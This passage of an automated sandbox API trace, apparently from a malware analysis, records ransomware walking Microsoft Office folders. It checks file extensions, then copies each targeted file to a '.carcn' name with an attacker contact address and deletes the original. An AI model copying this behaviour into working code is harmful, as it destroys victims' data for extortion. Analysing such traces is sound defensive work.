Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.028] lstrlenW (lpString=".doc") returned 4 [0279.028] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.028] lstrlenW (lpString=".docx") returned 5 [0279.028] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.028] lstrlenW (lpString=".pdf") returned 4 [0279.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.028] lstrlenW (lpString=".xls") returned 4 [0279.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.029] lstrlenW (lpString=".xlsx") returned 5 [0279.029] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.029] lstrlenW (lpString=".ppt") returned 4 [0279.029] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.029] lstrlenW (lpString=".zip") returned 4 [0279.029] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.029] lstrlenW (lpString=".rar") returned 4 [0279.029] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.029] lstrlenW (lpString=".bz2") returned 4 [0279.029] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.029] lstrlenW (lpString=".7z") returned 3 [0279.029] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.029] lstrlenW (lpString=".dbf") returned 4 [0279.029] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.029] lstrlenW (lpString=".1cd") returned 4 [0279.029] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.029] lstrlenW (lpString=".jpg") returned 4 [0279.029] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.030] lstrlenW (lpString=".doc") returned 4 [0279.030] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.030] lstrlenW (lpString=".docx") returned 5 [0279.030] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.030] lstrlenW (lpString=".pdf") returned 4 [0279.030] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.030] lstrlenW (lpString=".xls") returned 4 [0279.030] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.030] lstrlenW (lpString=".xlsx") returned 5 [0279.030] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.030] lstrlenW (lpString=".ppt") returned 4 [0279.030] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.030] lstrlenW (lpString=".zip") returned 4 [0279.030] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.030] lstrlenW (lpString=".rar") returned 4 [0279.030] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.030] lstrlenW (lpString=".bz2") returned 4 [0279.030] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.030] lstrlenW (lpString=".7z") returned 3 [0279.030] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.030] lstrlenW (lpString=".dbf") returned 4 [0279.030] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.030] lstrlenW (lpString=".1cd") returned 4 [0279.030] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-heap-l1-1-0.dll") returned 79 [0279.031] lstrlenW (lpString=".jpg") returned 4 [0279.031] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.031] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0279.031] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0279.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0279.034] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19136) returned 1 [0279.034] CloseHandle (hObject=0x374) returned 1 [0279.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0279.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0279.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.035] lstrlenW (lpString=".doc") returned 4 [0279.035] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.035] lstrlenW (lpString=".docx") returned 5 [0279.035] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.035] lstrlenW (lpString=".pdf") returned 4 [0279.035] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.035] lstrlenW (lpString=".xls") returned 4 [0279.035] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.035] lstrlenW (lpString=".xlsx") returned 5 [0279.035] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.035] lstrlenW (lpString=".ppt") returned 4 [0279.035] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.035] lstrlenW (lpString=".zip") returned 4 [0279.035] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.035] lstrlenW (lpString=".rar") returned 4 [0279.035] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.035] lstrlenW (lpString=".bz2") returned 4 [0279.035] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.035] lstrlenW (lpString=".7z") returned 3 [0279.035] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.036] lstrlenW (lpString=".dbf") returned 4 [0279.036] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.036] lstrlenW (lpString=".1cd") returned 4 [0279.036] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.036] lstrlenW (lpString=".jpg") returned 4 [0279.036] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.036] lstrlenW (lpString=".doc") returned 4 [0279.036] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.036] lstrlenW (lpString=".docx") returned 5 [0279.036] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0279.036] lstrlenW (lpString=".pdf") returned 4 [0279.036] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.036] lstrlenW (lpString=".xls") returned 4 [0279.036] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.036] lstrlenW (lpString=".xlsx") returned 5 [0279.036] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0279.036] lstrlenW (lpString=".ppt") returned 4 [0279.037] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.037] lstrlenW (lpString=".zip") returned 4 [0279.037] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.302] lstrlenW (lpString=".rar") returned 4 [0279.302] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.302] lstrlenW (lpString=".bz2") returned 4 [0279.302] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.302] lstrlenW (lpString=".7z") returned 3 [0279.302] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.302] lstrlenW (lpString=".dbf") returned 4 [0279.302] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.303] lstrlenW (lpString=".1cd") returned 4 [0279.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-locale-l1-1-0.dll") returned 81 [0279.303] lstrlenW (lpString=".jpg") returned 4 [0279.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.303] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0279.303] lstrlenW (lpString="AppVStreamMap.dll") returned 17 [0279.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0280.064] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=194776) returned 1 [0280.064] CloseHandle (hObject=0x524) returned 1 [0280.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220 [0280.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.065] lstrlenW (lpString=".doc") returned 4 [0280.065] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0280.065] lstrlenW (lpString=".docx") returned 5 [0280.065] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0280.065] lstrlenW (lpString=".pdf") returned 4 [0280.065] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0280.065] lstrlenW (lpString=".xls") returned 4 [0280.065] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0280.065] lstrlenW (lpString=".xlsx") returned 5 [0280.065] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0280.065] lstrlenW (lpString=".ppt") returned 4 [0280.065] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0280.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.065] lstrlenW (lpString=".zip") returned 4 [0280.066] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0280.066] lstrlenW (lpString=".rar") returned 4 [0280.066] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0280.066] lstrlenW (lpString=".bz2") returned 4 [0280.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0280.066] lstrlenW (lpString=".7z") returned 3 [0280.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0280.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.066] lstrlenW (lpString=".dbf") returned 4 [0280.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0280.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.066] lstrlenW (lpString=".1cd") returned 4 [0280.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0280.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.066] lstrlenW (lpString=".jpg") returned 4 [0280.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0280.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.068] lstrlenW (lpString=".doc") returned 4 [0280.068] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0280.068] lstrlenW (lpString=".docx") returned 5 [0280.068] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0280.068] lstrlenW (lpString=".pdf") returned 4 [0280.068] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0280.068] lstrlenW (lpString=".xls") returned 4 [0280.068] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0280.068] lstrlenW (lpString=".xlsx") returned 5 [0280.068] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0280.068] lstrlenW (lpString=".ppt") returned 4 [0280.068] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0280.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.068] lstrlenW (lpString=".zip") returned 4 [0280.068] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0280.068] lstrlenW (lpString=".rar") returned 4 [0280.068] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0280.068] lstrlenW (lpString=".bz2") returned 4 [0280.068] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0280.068] lstrlenW (lpString=".7z") returned 3 [0280.068] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0280.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.069] lstrlenW (lpString=".dbf") returned 4 [0280.069] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0280.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.069] lstrlenW (lpString=".1cd") returned 4 [0280.069] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0280.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66 [0280.069] lstrlenW (lpString=".jpg") returned 4 [0280.069] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0280.069] lstrcmpiW (lpString1=".msu", lpString2=".carcn") returned 1 [0280.069] lstrlenW (lpString="Windows8-RT-KB2999226-x64.msu") returned 29 [0280.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0280.070] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=1347630) returned 1 [0280.070] CloseHandle (hObject=0x524) returned 1 [0280.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 0x220 [0280.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0280.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0280.071] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0280.072] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0280.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0280.073] GetLastError () returned 0x0 [0280.073] ReadFile (in: hFile=0x524, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xffff0, lpOverlapped=0x0) returned 1 [0280.634] WriteFile (in: hFile=0x54c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xffff0, lpOverlapped=0x0) returned 1 [0280.754] ReadFile (in: hFile=0x524, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x4903e, lpOverlapped=0x0) returned 1 [0280.768] WriteFile (in: hFile=0x54c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x49040, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x49040, lpOverlapped=0x0) returned 1 [0281.048] ReadFile (in: hFile=0x524, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0281.048] WriteFile (in: hFile=0x54c, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0281.048] SetEndOfFile (hFile=0x54c) returned 1 [0281.664] CloseHandle (hObject=0x54c) returned 1 [0281.664] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0281.664] SetEndOfFile (hFile=0x524) returned 1 [0283.078] CloseHandle (hObject=0x524) returned 1 [0283.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x64.msu")) returned 1 [0283.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.406] lstrlenW (lpString=".doc") returned 4 [0283.406] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0283.406] lstrlenW (lpString=".docx") returned 5 [0283.406] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0283.406] lstrlenW (lpString=".pdf") returned 4 [0283.406] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0283.406] lstrlenW (lpString=".xls") returned 4 [0283.406] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0283.406] lstrlenW (lpString=".xlsx") returned 5 [0283.406] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0283.407] lstrlenW (lpString=".ppt") returned 4 [0283.407] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0283.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.407] lstrlenW (lpString=".zip") returned 4 [0283.407] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0283.407] lstrlenW (lpString=".rar") returned 4 [0283.407] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0283.407] lstrlenW (lpString=".bz2") returned 4 [0283.407] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0283.407] lstrlenW (lpString=".7z") returned 3 [0283.407] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0283.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.407] lstrlenW (lpString=".dbf") returned 4 [0283.407] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0283.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.407] lstrlenW (lpString=".1cd") returned 4 [0283.407] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0283.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.407] lstrlenW (lpString=".jpg") returned 4 [0283.407] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0283.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.408] lstrlenW (lpString=".doc") returned 4 [0283.408] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0283.408] lstrlenW (lpString=".docx") returned 5 [0283.408] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0283.408] lstrlenW (lpString=".pdf") returned 4 [0283.408] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0283.408] lstrlenW (lpString=".xls") returned 4 [0283.408] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0283.408] lstrlenW (lpString=".xlsx") returned 5 [0283.408] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0283.408] lstrlenW (lpString=".ppt") returned 4 [0283.408] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0283.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.408] lstrlenW (lpString=".zip") returned 4 [0283.408] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0283.408] lstrlenW (lpString=".rar") returned 4 [0283.408] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0283.408] lstrlenW (lpString=".bz2") returned 4 [0283.408] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0283.408] lstrlenW (lpString=".7z") returned 3 [0283.408] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0283.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.408] lstrlenW (lpString=".dbf") returned 4 [0283.408] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0283.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.409] lstrlenW (lpString=".1cd") returned 4 [0283.409] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0283.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x64.msu") returned 80 [0283.409] lstrlenW (lpString=".jpg") returned 4 [0283.409] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0283.409] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0283.409] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24 [0283.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0283.410] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=10631) returned 1 [0283.410] CloseHandle (hObject=0x550) returned 1 [0283.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program 